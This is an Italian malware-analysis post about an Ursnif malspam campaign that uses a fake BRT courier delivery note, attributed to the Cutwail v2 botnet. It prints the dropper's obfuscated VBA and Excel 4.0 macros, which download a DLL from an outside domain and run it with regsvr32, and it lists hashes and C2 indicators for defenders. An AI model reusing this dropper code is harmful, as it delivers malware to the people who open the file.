Nuova campagna di Malspam contenente malware Ursnif. Il malware in allegato, risulta essere una falsa bolla di consegna del corriere Bartolini.

Mail che veicola il Malware

L’allegato malevolo risulta appartenere alla botnet Cutwail v2, gestita dal Threat Actor NARWHAL SPIDER (info).
Cutwail v2 è conosciuta anche come 0bulk Psych Evolution R4.
Cutwail ha origine nel 2007 ed è cresciuta tramite Pushdo, un malware che ha infettato moltissimi sistemi Windows incorporandole all’interno della botnet.
Fino al 2020, Cutwail v2 ha distribuito principalmente malware, tra cui Dridex e Gozi, oltre a truffe di phishing nel tentativo di rubare le credenziali delgi utenti.

File xlsm

L’allegato della mail contiene un file xlsm (dropper).

Dettagli Macro

Macro contenute nell’allegato della mail:

Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO Questa_cartella_di_lavoro.cls 
in file: xl/vbaProject.bin - OLE stream: 'VBA/Questa_cartella_di_lavoro'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Function testo_uno()

For Each di In Sheets(3).UsedRange.SpecialCells(xlCellTypeConstants): Pk = "-"
Hi = Split(di, Pk)
For Each X In Hi
nnv = nnv & Sheets(msoTabStopCenter).Range(X)
Next
Next
testo_uno = nnv
End Function

Function minusole(uu As String, ik As Integer)
Sheets(1).Cells(ik, 1).FormulaLocal = uu
End Function

Sub rempofo()
mII = 0: COsT = 0: Run ("casuale")
End Sub

Function revisio()
Sheets(1).Cells(6, 1).FormulaLocal = pago_i & nuove_d
End Function

Function nuove_d()
nuove_d = "T" & vnumeros & "O" & "()"
End Function

Function fare_E() As String
fare_E = "" & "Y"
End Function

Function pago_i()
pago_i = Guida_1 & "R" & "I"
End Function

Function v_promo() As Variant
v_promo = Split(testo_uno, "" & fare_E)
End Function

Function coSa() As String
coSa = "O"
End Function

Function pagina_P()
pagina_P = revisio
End Function

Sub Visualizzazioni()
Excel4MacroSheets.Add Before:=Worksheets(1): ActiveSheet.Visible = xlSheetHidden
riservata = pagina_P: Sheets(1).Cells(2, 1).Name = "casuale"
For Each xt In v_promo
dalla_legge = minusole(Guida_1 & xt, 2): rempofo
Next
End Sub

Function Guida_1()
Guida_1 = "="
End Function

Function bertranno()
bertranno = "" & "_i"
End Function

Function vnumeros() As String
vnumeros = coSa & "RN"
End Function
-------------------------------------------------------------------------------
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings                    |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
+----------+--------------------+---------------------------------------------+
NOME.RIF("KK";"er")
NOME.RIF("D";"\")
NOME.RIF("m";ARCCOS(-0,5)*135/PI.GRECO())
NOME.RIF("p";COS(RADIANTI(60))-COS(60*PI.GRECO()/180))
NOME.RIF("K";"w")
NOME.RIF("Z";"o")
SE(VAL.NUMERO(RICERCA(K;INFO.AREA.DI.LAVORO(1))); ;CHIUDE(VERO))
NOME.RIF("A";"C:"&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
NOME.RIF("if";CODICE.CARATT(115))
NOME.RIF("B";A&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
NOME.RIF("F";INFO.AREA.DI.LAVORO(13)&".")
NOME.RIF("U";"e")
RICHIAMA("K"&U&"rn"&U&"l32";"Cr"&U&"at"&U&"Direct"&Z&"ryA";"JCJ";A;p)
NOME.RIF("G";NOME.RIF("h";"i"))
RICHIAMA("K"&KK&"n"&U&"l32";"CreateDir"&U&"ct"&Z&"ryA";"JCJ";B;p)
NOME.RIF("S";"t")
RICHIAMA("URLMON";"URLD"&Z&"wnl"&Z&"adT"&Z&"FileA"; "JJCCJJ";p;RIMPIAZZA("hqps:"&INFO.AREA.DI.LAVORO(9)&INFO.AREA.DI.LAVORO(9)&"c"&Z&"nsul"&S&"a"&S&"y"&Z&"n"&DESTRA(F)&"c"&Z&"m";2;1;S&S);B&D&F;p;p
)
ATTESA(ADESSO()+"00:00:09")
RICHIAMA("Sh"&U&"ll32";"Sh"&U&"llEx"&U&"cut"&U&"A"; "JJCCCCJ";p;"Op"&U&"n";"r"&U&"gsvr32";" -"&if&" "&B&D&F;p;p)
FILE.CHIUDI(FALSO)

La macro, contenuta nel documento, avvia una connessione verso il dominio consultatyon[.]com per scaricare il file dll contenente lo stadio successivo di Ursnif.

Dominio contattato per il download della dll

DLL

  • md5 3896AEE936D55D53EFA5E0D1C2AB817D
  • sha1 589E3E955C870821277C7F2EA9F60BC37BBB7825
  • sha256 E53CAA0529020312A9092B409C2A38D6DDF0C3D2786832A514657CA617DF770F
  • first-bytes-hex 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
  • imphash 33440A0287E1F3D8BFD56DD3109F1807
  • cpu 32-bit
Exports
  • Gasalways text:01019E40
  • Pitchnecessary text:0101A79B

Dall’analisi della dll è possibile identificare i domini utilizzati per il download del successivo stadio.

Immagine
Indirizzi e domini del Malware

Nell’ultimo stadio è possibile identificare gli IP e i domini dei server di comando e controllo (C2)

Immagine
Indirzzi C2

IOC

DLL

  • sha256 E53CAA0529020312A9092B409C2A38D6DDF0C3D2786832A514657CA617DF770F
Domini e IP

Dll:

  • consultatyon[.]com

Loader:

  • roudinoden[.]club
  • cloudinoren[.]club

C2:

  • 46.21.153[.]208
  • 46.21.153[.]209
  • 46.21.153[.]212
  • goudinoden[.]club
  • woudinoden[.]club
  • poudinoden[.]club